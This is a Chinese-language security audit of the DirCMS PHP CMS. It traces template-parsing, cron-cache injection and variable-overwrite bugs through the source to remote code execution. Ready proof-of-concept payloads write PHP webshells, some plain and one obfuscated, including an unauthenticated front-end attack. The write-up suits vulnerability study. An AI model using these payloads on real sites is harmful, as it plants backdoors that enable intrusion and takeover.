DirCMS 审计

 

DirCMS 审计

环境搭建

  • 官网链接:http://www.dircms.cc/
  • 下载地址:dircms6

目录结构

代码目录结构

.
├── admin.php
├── api
├── cache
├── config
├── dircms
├── favicon.ico
├── index.php
├── install.php
├── LICENSE
├── mobile
├── nginx.htaccess
├── README.en.md
├── README.md
├── static
├── template
├── test.php
└── uploadfile

MVC 结构

  • 控制器:功能相关控制器存放在 dircms/App 目录下
  • 服务类(Service):存放在 dircms/Fcms/Core/Service.php
  • 基础类:存放在 dircms/Fcms/Library 目录下

数据流:控制器 -> 服务类 Service -> 类加载(加载基础类)

API

  • pay
  • ueditor

安全防护

  • dircms/Fcms/Library/Security.php 存在 XSS 过滤函数 xss_clean,其中除了 xss 过滤之外,还有部分的 php 函数过滤。
    $str = preg_replace(
      '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
      '\\1\\2(\\3)',
      $str
    );
    

漏洞挖掘

后台代码执行(模板解析导致 RCE)

dircms/Fcms/Core/Helper.php 中存在一个 php55_replace_function 函数:

    function php55_replace_function($value) {
        if (function_exists($value[1])) {
            // 执行函数体
            $param = $value[2] == '$data' ? $this->data : $value[2];
            return call_user_func_array(
                $value[1],
                is_array($param) ? ['data' => $param] : @explode(',', $param)
            );
        } else {
            return '函数['.$value[1].']未定义';
        }

        return $value[0];
    }

该函数调用了 call_user_func_array 函数,一旦传入的参数 $value 可控,则可以执行任意 php 函数。

php55_replace_function 函数调用点较多,其中 dircms/Fcms/Library/Seo.php 中的 search 函数也用到了该方法,部分代码如下:

$rep = new \php5replace($data);
    ...
$seo['meta_title'] = str_replace('%', '', preg_replace_callback('#{([a-z_0-9]+)\((.*)\)}#Ui', array($rep, 'php55_replace_function'), $seo['meta_title']));
...

使用正则表达式匹配 $seo['meta_title']) 的值,匹配内容包含整个函数调用。但是这里的执行也有一定限制:

  1. 函数名只能匹配小写字母、数字与下划线。
  2. 无法嵌套函数调用。

$seo['meta_title'])来源于后台 SEO 设置,在”设置”-> SEO 设置 -> 搜索 SEO 中可以设置 SEO 标题,在其中的内容中添加一个函数调用:

[{page}{join}][{keyword}{join}][{param}{join}]{modulename}{join}{SITE_NAME}{phpinfo(1)}

保存之后,再在前端访问搜索页面:

/index.php?s=news&c=search&keyword=1111

20230807222653

当尝试使用 system 执行命令时,会发现输入的 system() 中的括号会被 html 转义,其过滤函数可以定位到 dircms/Fcms/Library/Security.php 中的 xss_clean 函数,该函数除了会进行 XSS 的过滤,还会进行 PHP 标签 <? 以及敏感函数的过滤,如下所示:

$str = preg_replace(
    '#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
    '\\1\\2&#40;\\3&#41;',
    $str
);

其中过滤了常见的一些命令执行函数,但并不完全,综合来看,我们需要找到满足下面条件的函数去执行命令:

  1. 不在黑名单内。
  2. 不能嵌套函数。

例如,我们可以使用 file_put_content 结合 php://filter 来写入文件,例如:

file_put_contents("php://filter/write=convert.base64-decode/resource=evil.php","PD9waHAgJHFlQWY9Y3JlYXRlX2Z1bmN0aW9uKHN0cl9yb3QxMygnJCcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5jaHIoNTAxLTM5MikuYmFzZTY0X2RlY29kZSgnWlE9PScpLGNocigweDEzMC0weGNiKS5jaHIoMHhmZDg0LzB4MjI2KS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuY2hyKDA1NjI1MC8wMTEyMSkuY2hyKDA1MDY2NC8wMTEwNSkuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoMHgyYjAtMHgyNDMpLmJhc2U2NF9kZWNvZGUoJ1pRPT0nKS5jaHIoMHg2ZjI2LzB4MmI2KS5jaHIoMDQ3NTEwLzA1MzApKTskcWVBZihiYXNlNjRfZGVjb2RlKCdPRGM1TicuJ2pjM08wJy4nQmxka0YnLidzS0NSZicuJycuc3RyX3JvdDEzKCdIJykuY2hyKDAxNzMxMzIvMDE2MjIpLmNocig1MDQ0NS84ODUpLmNocig3MDItNjE4KS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDU2MDcwLzgwMSkuc3RyX3JvdDEzKCdnJykuY2hyKDMwNjE4LzM3OCkuY2hyKDB4M2Q2LTB4MzcyKS5zdHJfcm90MTMoJ2EnKS4nJy4nUklWSGwnLidFUkYwcCcuJ096STJNJy4nemt3TXonLidFNycuJycpKTs/Pg==");

poc 如下:

[{page}{join}][{keyword}{join}][{param}{join}]{modulename}{join}{SITE_NAME}{file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,PD9waHAgJHFlQWY9Y3JlYXRlX2Z1bmN0aW9uKHN0cl9yb3QxMygnJCcpLmJhc2U2NF9kZWNvZGUoJ2N3PT0nKS5zdHJfcm90MTMoJ2InKS5jaHIoNTAxLTM5MikuYmFzZTY0X2RlY29kZSgnWlE9PScpLGNocigweDEzMC0weGNiKS5jaHIoMHhmZDg0LzB4MjI2KS5iYXNlNjRfZGVjb2RlKCdZUT09Jykuc3RyX3JvdDEzKCd5JykuY2hyKDA1NjI1MC8wMTEyMSkuY2hyKDA1MDY2NC8wMTEwNSkuYmFzZTY0X2RlY29kZSgnY3c9PScpLmJhc2U2NF9kZWNvZGUoJ2J3PT0nKS5jaHIoMHgyYjAtMHgyNDMpLmJhc2U2NF9kZWNvZGUoJ1pRPT0nKS5jaHIoMHg2ZjI2LzB4MmI2KS5jaHIoMDQ3NTEwLzA1MzApKTskcWVBZihiYXNlNjRfZGVjb2RlKCdPRGM1TicuJ2pjM08wJy4nQmxka0YnLidzS0NSZicuJycuc3RyX3JvdDEzKCdIJykuY2hyKDAxNzMxMzIvMDE2MjIpLmNocig1MDQ0NS84ODUpLmNocig3MDItNjE4KS5iYXNlNjRfZGVjb2RlKCdWZz09JykuJycuJycuY2hyKDU2MDcwLzgwMSkuc3RyX3JvdDEzKCdnJykuY2hyKDMwNjE4LzM3OCkuY2hyKDB4M2Q2LTB4MzcyKS5zdHJfcm90MTMoJ2EnKS4nJy4nUklWSGwnLidFUkYwcCcuJ096STJNJy4nemt3TXonLidFNycuJycpKTs/Pg==)}

前台代码执行(模板解析导致 RCE)

这个前台的 RCE 与上面的后台 RCE sink 点一致,都是利用 php55_replace_function 函数。

搜索 php55_replace_function 的调用点,主要出现在 dircms/Fcms/Library/Seo.php 和 dircms/Fcms/Library/Router.php 两个文件中。

Seo 类中的三个函数都有调用:

dircms/Fcms/Library/Seo.php
    - Seo 类
        - category 函数
        - search 函数
        - show 函数

其中,search 函数用于前端查询窗口,上面的后台 RCE 就是需要通过这个函数来触发,但此处的 payload 需要依赖后台数据修改。

show 函数用于文章的展示,查看某一篇文章时就会调用,部分代码如下:

function show($mod, $data, $page = 1) {
    ...
    $meta_title = $mod['site'][SITE_ID]['show_title'] ? $mod['site'][SITE_ID]['show_title'] : '['.dr_lang('第%s页', '{page}').'{join}]{title}{join}{catpname}{join}{modulename}{join}{SITE_NAME}';
    $meta_title = $page > 1 ? str_replace(array('[', ']'), '', $meta_title) : preg_replace('/\[.+\]/U', '', $meta_title);

    $rep = new \php5replace($data);
    $seo['meta_title'] = preg_replace_callback('#{([A-Z_]+)}#U', array($rep, 'php55_replace_var'), $meta_title);
    $seo['meta_title'] = preg_replace_callback('#{([a-z_0-9]+)}#U', array($rep, 'php55_replace_data'), $seo['meta_title']);
    $seo['meta_title'] = preg_replace_callback('#{([a-z_0-9]+)\((.*)\)}#Ui', array($rep, 'php55_replace_function'), $seo['meta_title']);
    $seo['meta_title'] = str_replace($data['join'].$data['join'], $data['join'], $seo['meta_title']);
    $seo['meta_title'] = htmlspecialchars(dr_clearhtml($seo['meta_title']));
    ...
}

可以看到其中用到了 {join}]{title}{join}{catpname}{join}{modulename}{join}{SITE_NAME} 这个模板,也就是说,在经过 php55_replace_data 函数时,就会使用文章实际的标题来替换 {title}

但需要注意的是,这段代码调用完 php55_replace_data 之后,继续调用 php55_replace_function,如果我们将 title 填充为 {file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,base64_content)},就可以进入 php55_replace_function 的调用。

因此,只需要创建一篇文章,将标题填充为上述的 payload 即可,如果站点开启了注册,我们就可以直接创建一个普通用户,然后创建一篇文章就可以 RCE。

poc:

{file_put_contents(php://filter/write=convert.base64-decode/resource=evil.php,PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==)}

20230808041749

创建完之后在前台查看该文章就可以触发。

后台代码注入(缓存文件利用)

参考这篇文章 某CMS漏洞总结 - 先知社区,该漏洞出现在迅睿 CMS 框架版本 v4.3.3~v4.5.0,DirCMS 中没有明确标识版本,但根据代码逻辑判断属于该版本区间。

dircms/Core/Controllers/Admin/Cron.php 中的 add 函数会将用户输入写入缓存文件,并且每次访问时对缓存文件进行包含,由此造成代码注入,add 函数的代码如下:

    public function add() {

        $json = '';
        if (is_file(WRITEPATH.'config/cron.php')) {
            require WRITEPATH.'config/cron.php';
        }

        $data = json_decode($json, true);

        if (IS_AJAX_POST) {

            $post = \Phpcmf\Service::L('input')->post('data', true);

            file_put_contents(WRITEPATH.'config/cron.php',
                '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');

            \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');

            $this->_json(1, dr_lang('操作成功'));
        }

        \Phpcmf\Service::V()->assign([
            'data' => $data,
        ]);
        \Phpcmf\Service::V()->display('cron_add.html');
    }

触发 add 函数的调用需要进入管理员后台 -> 应用 -> 应用插件 -> 任务队列。

20230808225520

点击保存可以提交 post 报文,data 参数经过 json_encode 最终会写入 cache/config/cron.php

';file_put_contents(implode(base64_decode('Lw=='),['php:','','filter','write=convert.base64-decode','resource=evil.php']),'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==');return;$a='

最终写入 cache/config/cron.php 文件内容如下:

<?php defined('FCPATH') OR exit('No direct script access allowed');
 $json='{"1":{"name":"';file_put_contents(implode(base64_decode('Lw=='),['php:','','filter','write=convert.base64-decode','resource=evil.php']),'PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Cg==');return;$a='"}}';

也参考这篇文章 某CMS漏洞总结 - 先知社区 中的 poc:

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']

前台代码执行(变量覆盖导致模板变量可控)

dircms/Fcms/Core/View.php 中的 list_tag 函数中存在这样的代码:

// list 标签解析
public function list_tag($_params) {
    ...
    switch ($system['action']) {

        case 'function': //执行函数

            if (!isset($param['name'])) {
                return $this->_return($system['return'], 'name参数不存在');
            } elseif (!function_exists($param['name'])) {
                return $this->_return($system['return'], '函数['.$param['name'].']未定义');
            }

            $name = 'function-'.md5(dr_array2string($param));
            $cache = \Phpcmf\Service::L('cache')->init()->get($name);
            if (!$cache) {
                $rt = call_user_func($param['name'], $param['param']);
                $cache = [
                    $rt
                ];
                \Phpcmf\Service::L('cache')->init()->save($name, $cache, $system['cache']);
            }

            return $this->_return($system['return'], $cache, '');
            break;

当 action 为字符串 function 时,会调用 call_user_func($param['name'], $param['param']) 执行函数。如果函数名与函数参数可控,则可以造成任意代码执行。

list_tag 函数在大量的模板文件中被调用,例如:cache/template/template_pc_default_home_api_list_data.html.cache.php。该文件是 template/pc/default/home/api/list_data.html 经过解析之后生成的 php 缓存文件。

当需要使用 list_data.html 这个前端文件时,就会将 cache/template/template_pc_default_home_api_list_data.html.cache.php 这个缓存文件包含进来。

该缓存文件的部分内容如下所示:

<?php $list_return = $this->list_tag("action=module module=news catid=$catid page=1 cache=300"); if ($list_return) extract($list_return, EXTR_OVERWRITE); $count=dr_count($return); if (is_array($return)) { foreach ($return as $key=>$t) { $is_first=$key==0 ? 1 : 0;$is_last=$count==$key+1 ? 1 : 0; ?>
<div class="ajax-load-con content excerpt-one">
    <div class="content-box posts-image-box">
        <div class="posts-default-title">
            <div class="post-entry-categories">

其中会调用 list_tag 函数,且传入参数 action=module module=news catid=$catid page=1 cache=300。可以看到参数是通过空格进行分割的键值对,list_tag 函数在进行处理时,会将键值对保存在 $system 这个变量中:

    foreach ($params as $t) {
        ...
        if (isset($system[$var])) { // 系统参数,只能出现一次,不能添加修饰符
            $system[$var] = dr_safe_replace($val);
        }

例如第一个参数 action: $system['action'] = dr_safe_replace('module')

想要进入 call_user_func,就需要 action 的值为 function。但在内置的所有模板中,没有模板使用到了 action=function

但需要注意的是,list_tag 在调用时 $this->list_tag("action=module module=news catid=$catid page=1 cache=300");,使用到了一个 $catid 变量。由于这个变量被直接拼接进来,假如构造

$catid = " action=function name=phpinfo param0=-1"

最终传入 list_tag 的参数就会变成:

$this->list_tag("action=module module=news catid= action=function name=phpinfo param0=-1 page=1 cache=300");

action 参数被设置了两次,但最终会都被设置为后者的值,这样也就达到了目的。

$catid 在哪被赋值呢?模板文件实际上是在 dircms/Fcms/Core/View.php 中的 display 函数中使用 include 包含进来的,在这个 include 的前方,正好调用了一次 extract 函数。

    public function display($_name, $_dir = '') {

		if (!isset($this->_options['get'])) {
			$this->_options['get'] = \Phpcmf\Service::L('input')->xss_clean($_GET);
		}
        ...

        extract($this->_options, EXTR_PREFIX_SAME, 'data');

        ...
        include $this->load_view_file($_view_file);
        ...
    }

extract 函数可以造成变量覆盖,如果 $this->_options可控的话,就可以对 $catid 赋值。向上溯源可以发现根多地方都有调用 display 函数,但只有 dircms/Core/Controllers/Api/Api.php 中的 template 函数最方便利用:

public function template() {

    $file = dr_safe_filename(\Phpcmf\Service::L('input')->get('name'));
    $module = dr_safe_filename(\Phpcmf\Service::L('input')->get('module'));

    $data = [
        'file' => $file,
        'module' => $module,
    ];

    ...
        \Phpcmf\Service::V()->assign(\Phpcmf\Service::L('input')->get('', true));
        ob_start();
        \Phpcmf\Service::V()->display($file);
        $html = ob_get_contents();
        ob_clean();
    ...
}

直接调用 \Phpcmf\Service::V()->assign 函数并传入所有 GET 请求参数。\Phpcmf\Service::V()->assign 函数就是用于给 option 成员变量赋值的,如下所示:

    public function assign($key, $value = '') {

        if (!$key) {
            return FALSE;
        }

        if (is_array($key)) {
            foreach ($key as $k => $v) {
                $this->_options[$k] = $v;
            }
        } else {
            $this->_options[$key] = $value;
        }
    }

由此一来从 GET 请求参数中传入即可。poc 如下:

/index.php?s=api&c=api&m=template&app=admin&name=list_data.html&phpcmf_dir=admin&catid=%20action=function%20name=phpinfo%20param0=-1

20230809040203

这个漏洞的利用思路来自于文章 某cms 前台RCE漏洞分析 - 先知社区,通过变量覆盖控制模板变量来达成 RCE,不得不说十分巧妙。

总结

  1. 模板解析功能是提高 php CMS 框架灵活性的重要功能,但同样意味着容易出现可利用的点,例如,后台修改模板、利用变量覆盖控制控制模板变量等利用方式。
  2. 缓存文件通常会在程序中被包含进来,一旦缓存文件的内容可控,就可能造成严重的影响。

参考资料